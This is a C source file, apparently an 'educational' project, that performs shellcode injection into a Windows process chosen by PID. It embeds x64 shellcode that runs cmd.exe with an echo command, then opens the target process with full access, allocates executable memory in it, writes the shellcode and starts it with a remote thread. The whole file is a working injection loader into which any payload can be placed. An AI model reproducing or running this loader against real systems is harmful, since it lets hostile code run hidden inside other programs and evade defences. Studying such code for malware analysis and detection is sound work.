/*
 *
 * @author: 0xbekoo
 * @Project: Shellcode Injection
 * @Last Update: 2024-10-11
 *
 * @Warning: This project is for educational purposes only. If you use this project for illegal purposes, it is your responsibility.
 *
*/

#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>

/* 
    cmd /K "echo Shellcode Injection with bekoo"
*/
char Shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x4b\x20\x22\x65"
"\x63\x68\x6f\x20\x53\x68\x65\x6c\x6c\x63\x6f\x64\x65\x20"
"\x49\x6e\x6a\x65\x63\x74\x69\x6f\x6e\x20\x77\x69\x74\x68"
"\x20\x62\x65\x6b\x6f\x6f\x22\x00";

int main(int argc, char* argv[]) {
    if (argc < 2) {
        printf("Usage: .\\program.exe <PID>");
        return -1;
    }
    DWORD       PID = atoi(argv[1]);
    HANDLE      HandleProcess = NULL;
    HANDLE      HandleThread = NULL;
    LPVOID      RemoteBuffer = NULL;

    HandleProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
    if (HandleProcess == NULL) {
        printf("Failed to Open Target Process! Error Code: 0x%lx", GetLastError());
        return -1;
    }

    RemoteBuffer = VirtualAllocEx(HandleProcess, NULL, sizeof(Shellcode), (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
    if (RemoteBuffer == NULL) {
        printf("Failed to Allocated Memory for DLL! Error Code: 0x%lx", GetLastError());
        CloseHandle(HandleProcess);
        return -1;
    }

    if (!(WriteProcessMemory(HandleProcess, RemoteBuffer, Shellcode, sizeof(Shellcode), 0))) {
        printf("Failed to write dllPath to Allocated Memory Error Code: 0x%lx", GetLastError());
        CloseHandle(HandleProcess);
        return -1;
    }

    HandleThread = CreateRemoteThreadEx(HandleProcess, NULL, 0, (LPTHREAD_START_ROUTINE)RemoteBuffer, NULL, 0, 0, 0);
    if (HandleThread == NULL) {
        printf("Failed to Create Thread! Error Code: 0x%lx\n", GetLastError());
        CloseHandle(HandleProcess);
        return -1;
    }
    WaitForSingleObject(HandleThread, INFINITE);
    CloseHandle(HandleThread);
    CloseHandle(HandleProcess);

    return 0;
}
